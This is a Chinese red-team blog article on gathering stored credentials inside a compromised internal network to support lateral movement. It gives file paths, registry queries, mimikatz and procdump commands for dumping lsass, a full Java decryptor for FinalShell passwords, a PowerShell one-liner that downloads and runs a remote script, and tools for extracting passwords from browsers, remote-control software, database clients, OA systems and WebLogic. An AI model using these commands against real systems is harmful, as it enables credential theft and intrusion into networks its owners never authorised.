内网凭证东搜西罗

VSole2021-09-18 07:40:00

前言

‍‍    日常在渗透测试,红队行动中,要想通过已经获取的权限来进行内网渗透,扩大战果,最直接最有效的方式就是利用已经拿下的权限来搜集各类凭证去做横向,内网密码搜集的越多,横向渗透也就越方便,越可以接近靶标或者内网最高权限。

    文章列举了常见的远程链接,远程控制,浏览器,常见数据库中间件相关软件和系统的凭证获取方式。文中涉及的工具已贴出链接,均可在互联网公开进行下载,由于各种原因,文中难免出现纰漏,还请各位师傅批评指正。

01FTP,SSH相关软件

FileZilla

简介:FileZilla 客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。具有图形用户界面(GUI)和很多有用的特性。


查找FileZilla的recentservers.xml

默认位置:

%userprofile%\AppData\Roaming\FileZilla\recentservers.xml

拿到登录过的ftp服务器账号密码,


<Host>192.168.192.129Host><Port>21Port><User>ftpadminUser><Pass encoding="base64">ZnRwQDEyMw==Pass>

密码base64解码即可得到明文:

除此之外,FileZilla.xml文件里面也会有一些账号密码的信息

也可以利用SharpDecryptPwd直接获取密码

工具下载地址:

https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla

也可以从msf和cs获取密码

run post/multi/gather/filezilla_client_cred

Winscp

简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件

通过注册表获得密文,通过winscppwd.exe获取

reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.192.128"winscppwd.exe root 192.168.192.128 密文

获取ftp密码同理:

有时候管理员会导出配置为WinSCP.ini文件。

这时候直接查找该文件,然后解密即可。

winscppwd.exe下载地址:

https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml#download

SharpDecryptPwd直接获取密码

也可以利用msf和cs来抓取密码

Xshell:

简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。

xshell密码默认保存位置:

XShell5:%userprofile%\Documents\NetSarang\Xshell\SessionsXShell6:%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

解密工具:

https://github.com/dzxs/Xdecrypt

利用user和sid来执行:

python Xdecrypt.py -s user+sid -p %userprofile%\Documents\NetSarang\Xshell\Sessions

注:XShell7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码

FinalShell

简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。

配置文件地址:

%userprofile%\AppData\Local\finalshell\conn\xxx.json

密码保存在json文件里面

解密密文

某大佬写的解密源码

import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Base64;import java.util.Random;
import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass {    public static void main(String[] args)throws Exception {        System.out.println(decodePass(args[0]));    }    public static byte[] desDecode(byte[] data, byte[] head) throws Exception {        SecureRandom sr = new SecureRandom();        DESKeySpec dks = new DESKeySpec(head);        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");        SecretKey securekey = keyFactory.generateSecret(dks);        Cipher cipher = Cipher.getInstance("DES");        cipher.init(2, securekey, sr);        return cipher.doFinal(data);    }    public static String decodePass(String data) throws Exception {        if (data == null) {            return null;        } else {            String rs = "";            byte[] buf = Base64.getDecoder().decode(data);            byte[] head = new byte[8];            System.arraycopy(buf, 0, head, 0, head.length);            byte[] d = new byte[buf.length - head.length];            System.arraycopy(buf, head.length, d, 0, d.length);            byte[] bt = desDecode(d, ranDomKey(head));            rs = new String(bt);
            return rs;        }    }    static byte[] ranDomKey(byte[] head) {        long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);        Random random = new Random(ks);        int t = head[0];
        for(int i = 0; i < t; ++i) {            random.nextLong();        }
        long n = random.nextLong();        Random r2 = new Random(n);        long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};        ByteArrayOutputStream bos = new ByteArrayOutputStream();        DataOutputStream dos = new DataOutputStream(bos);        long[] var15 = ld;        int var14 = ld.length;
        for(int var13 = 0; var13 < var14; ++var13) {            long l = var15[var13];
            try {                dos.writeLong(l);            } catch (IOException var18) {                var18.printStackTrace();            }        }
        try {            dos.close();        } catch (IOException var17) {            var17.printStackTrace();        }
        byte[] keyData = bos.toByteArray();        keyData = md5(keyData);        return keyData;    }    public static byte[] md5(byte[] data) {        String ret = null;        byte[] res=null;
        try {            MessageDigest m;            m = MessageDigest.getInstance("MD5");            m.update(data, 0, data.length);            res=m.digest();            ret = new BigInteger(1, res).toString(16);        } catch (NoSuchAlgorithmException e) {            e.printStackTrace();        }        return res;    }}

rdp相关凭证

本机rdp密码

抓取本机rdp密码是一个老生常谈的问题,通常cs直接上线管理执行mimikatz即可

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,抓取密码为空的时候

可以尝试解密NTLM获取明文密码,氪金解密即可。

上不了线的情况下,可以在webshell中来dump内存,保存到本地解密即可。

比如利用procdump64.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

利用mimikatz解密:

sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full

文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。

rdp登录凭证

Windows自带的远程桌面缓存,当本机链接过某些机器的远程桌面后,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。

查看本机链接过哪些机器

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

获取Credentials

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

获取guidMasterKey

dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\Credentials值

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt

获取guid对应的MasterKey

获取明文rdp凭证

dpapi::cred /in:C:\Users\administrator\AppData\Local\Microsoft\Credentials\Credentials值 /masterkey:masterkey值

也可以利用netpass直接获取

下载地址:

netpass

https://www.nirsoft.net/utils/network_password_recovery.html

远控相关软件

TeamViewer

TeamViewer 是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备

直接获取本机TeamViewer的ID以及密码

SharpDecryptPwd.exe -TeamViewer

向日葵

向日葵目前最高版本是:V12.0.1.39931,

由于更新,在向日葵v11.1.2.38529中,强化了加密机制

删除了config.ini中的encry_pwd(本机验证码)。 

所以解密的利用条件是:v11.0.0.38222以及以前的版本。

寻找配置文件config.ini,默认配置:

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

关注encry_pwd以及fastcode字段

其中encry_pwd是验证码加密后的字段,fastcode便是k+本机识别码,

解密encry_pwd

利用工具:

https://github.com/wafinfo/Sunflower_get_Password

得到本机验证码和本机识别码

941244985/4M9aON,直接登录即可。

浏览器相关软件

可以进3389的情况下直接打开查看即可

否则利用该工具进行抓取

地址:

https://github.com/moonD4rk/HackBrowserData

Get 1 passwords, filename is results/chrome_password.csv

Get 1 passwords, filename is results/360speed_password.csv

Get 2 passwords, filename is results/firefox_password.csv

抓取到火狐浏览器,google浏览器,360极速浏览器的密码

ie浏览器:

工具地址:

https://github.com/HanseSecure/credgrap_ie_edge

执行powershell解密即可

从远程解密

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"

从本地解密

也可以用IE PassView

下载地址:

https://www.nirsoft.net/utils/internet_explorer_password.html

360安全浏览器

直接获取密码

利用工具

https://github.com/hayasec/360SafeBrowsergetpass

数据库凭证相关软件和系统

navicat

简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。

注册表获取pwd字段:

HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\Navicat\Servers\localhost

使用navicatpwd.exe解密即可

下载地址:https://github.com/pxss/navicatpwd

致远oa

数据库配置文件默认位置:

/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties

致远oa数据库解密

工具下载地址:

https://github.com/jas502n/OA-Seeyou

用友nc

数据库配置文件默认位置:

/nchome/ierp/bin/prop.xml

用友数据库解密,工具下载地址:

https://github.com/jas502n/ncDecode

泛微oa

数据库配置文件默认位置:

D:\WEAVER\ecology\WEB-INF\prop\weaver.properties

万户oa

数据库配置文件默认位置:

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml

中间件相关系统

tomcat

数据库配置文件:

WEB-INF/classes/application.properties

实战中遇见的tomcat常见数据库配置文件名:

db.propertiesjdbc.propertiesdbpool.propertiesconfig.propertiessso-config.propertiesminaconfig.propertiesmissCallAlertExclude.propertiesurl_img.propertieswebapp.propertiesProxool.propertiesapplication.properties

tomcat控制台账号密码:

/conf/tomcat-users.xml

activeMQ

登录密码存放路径:

/apache-activemq/conf/jetty-realm.properties

weblogic

weblogic控制台密码解密

查找boot.properties文件

weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties

查找SerializedSystemIni.dat文件

weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat

成功解密

解密工具:

https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi

Nodemanager密码解密:

查找config.xml文件

/weblogic/user_projects/domains/base_domain/config/config.xml

数据库密码解密

查找jdbc相关文件

/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml

成功解密

也可以利用wlst.sh脚本进行解密

/bea/Oracle/Middleware/wlserver_10.3/common/bin

启动wlst

domain = "/bea/Oracle/Middleware/user_projects/domains/base_domain"service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)

调用encrypt方法进行加密

print "Weblogic server Admin password: %s" %encryption.decrypt("{AES}xxxxxxxx")

成功解密

小结

在内网渗透信息收集过程中,凭证获取仅仅是其中一环,文中所提到的内容也仅仅是海量软件凭证获取的冰山一角,在实战中,往往会遇见各类陌生的软件,尤其是运维软件,可以依据个人经验,总结这些软件的凭证获取方式来进一步渗透,最后,希望各位师傅们每次都能够搜集海量密码,轻松肝下内网。

参考链接:

https://www.bilibili.com/read/cv9065650

https://payloads.cn/2019/1204/decrypt-the-password-hash-saved-in-winscp-client.html

https://www.ascotbe.com/2021/06/09/WindowsGrabPassword/

https://rcoil.me/2019/09/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91SharpDecryptPwd/

https://blog.csdn.net/SunJW_2017/article/details/115508202

https://github.com/jas502n/OA-Seeyou

https://mp.weixin.qq.com/s/msti9k7zUuvzEjAhGhfw7Q

https://mp.weixin.qq.com/s/tDjhRKgwl-sYDrdZOfgtvA

http://www.liulanqicode.com/

软件https
本作品采用《CC 协议》,转载必须注明作者和本文链接
红蓝对抗—蓝队手册
2022-03-18 14:22:22
红蓝对抗的主要目的在于,提高公司安全成熟度及其检测和响应攻击的能力。
构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
根据网络安全公司Continuity Software的调研报告,IT基础设施各层级中,存储系统的安全状况明显弱于计算和网络设备这两层。 通过分析来自400多台企业存储设备的数据,研究揭示了与15个漏洞相关的6300个不同安全问题,平均而言,这15个漏洞几乎每台企业安全设备都会遇到。调研涉及的设备来自Brocade、思科、戴尔易安信、IBM、日立数据系统和NetApp等供应商。
Windows应急响应
2021-11-15 12:48:10
一旦中了勒索病毒,文件会被锁死,没有办法正常访问了,这时候,会给你带来极大的困恼。为了防范这样的事情出现,我们电脑上要先做好一些措施:1、安装杀毒软件,保持监控开启,定期全盘扫描。把异常文件拖出来进行检测,查看检测结果。
2020年10月31日安全研究员Samy Kamka发布了一种被称为NAT Slipstreaming的攻击颠覆了人们对防火墙中NAT安全性认知。NAT Slipstreaming,利用诱骗了受害人访问可能受到黑客控制的网站后,则允许攻击者绕过受害人的网络地址转换或防火墙安全控制,远程访问绑定到受害者计算机的任何TCP/UDP服务。这种攻击利用了对某些TCP和UDP数据包的数据部分的任意控制的优势,而没有包括HTTP或其他标头。此外,还包括用于本地IP地址发现的新技术。
最强大的搜索软件
2023-02-09 14:12:24
0x01 软件介绍Everything是大家公认的,也是当之无愧的Windows系统中本地文件搜索神器。对于任何硬盘中的文件都可以实现“秒搜”的效果。只要输入文件的关键词,就可以实时显示相关的文件。体积非常小,占用资源也很少, Everything搜索只基于文件和文件夹的名称,它创建数据库速度非常快。
一、事件简介近期在进行Windows终端威胁狩猎时捕获了一例通过破解软件网站进行传播分发的Windows窃密木马,受害者点击运行该木马后,该木马会窃取受害者电脑中Chrome、Firefox浏览器保存的账号、密码、浏览历史、cookie,桌面特定格式文件,已安装应用信息,操作系统信息,桌面截屏等敏感信息,在内存中经加密压缩发送到远端C2服务端。同时分析发现该木马作者运用了解压膨胀大文件,内存加载,
小白必看:超详细的Wireshark使用教程
本文将介绍用DecoyMini免费蜜罐工具来配置仿真自有业务系统蜜罐,并演示业务系统蜜罐部署后对攻击诱捕的实战效果。DecoyMini支持单节点部署模式和分布式部署模式,本文示例环境以单节点模式来进行部署。创建仿真模板使用DecoyMini部署业务系统蜜罐前,需要先配置业务系统的仿真模板。DecoyMini支持通过界面编排配置,实现记录攻击者尝试登录业务系统的账户的功能。
是一套用于对域名进行侦察的工具。该程序会检查 SPF 和 DMARC 记录中是否存在允许欺骗的弱配置。用于发现计算机网络上的主机和服务,从而构建网络的“地图”。自动渗透测试侦察扫描仪。不受 API 限制,因为它使用 Selenium 检测浏览器。输出报告以帮助关联跨站点的目标。是一个 python 脚本,它检查电子邮件帐户是否在数据泄露中受到损害,如果电子邮件帐户受到损害,它会继续查找受损害帐户的密码。LinkedIn 枚举工具,通过搜索引擎抓取从组织中提取有效员工姓名。
VSole
网络安全专家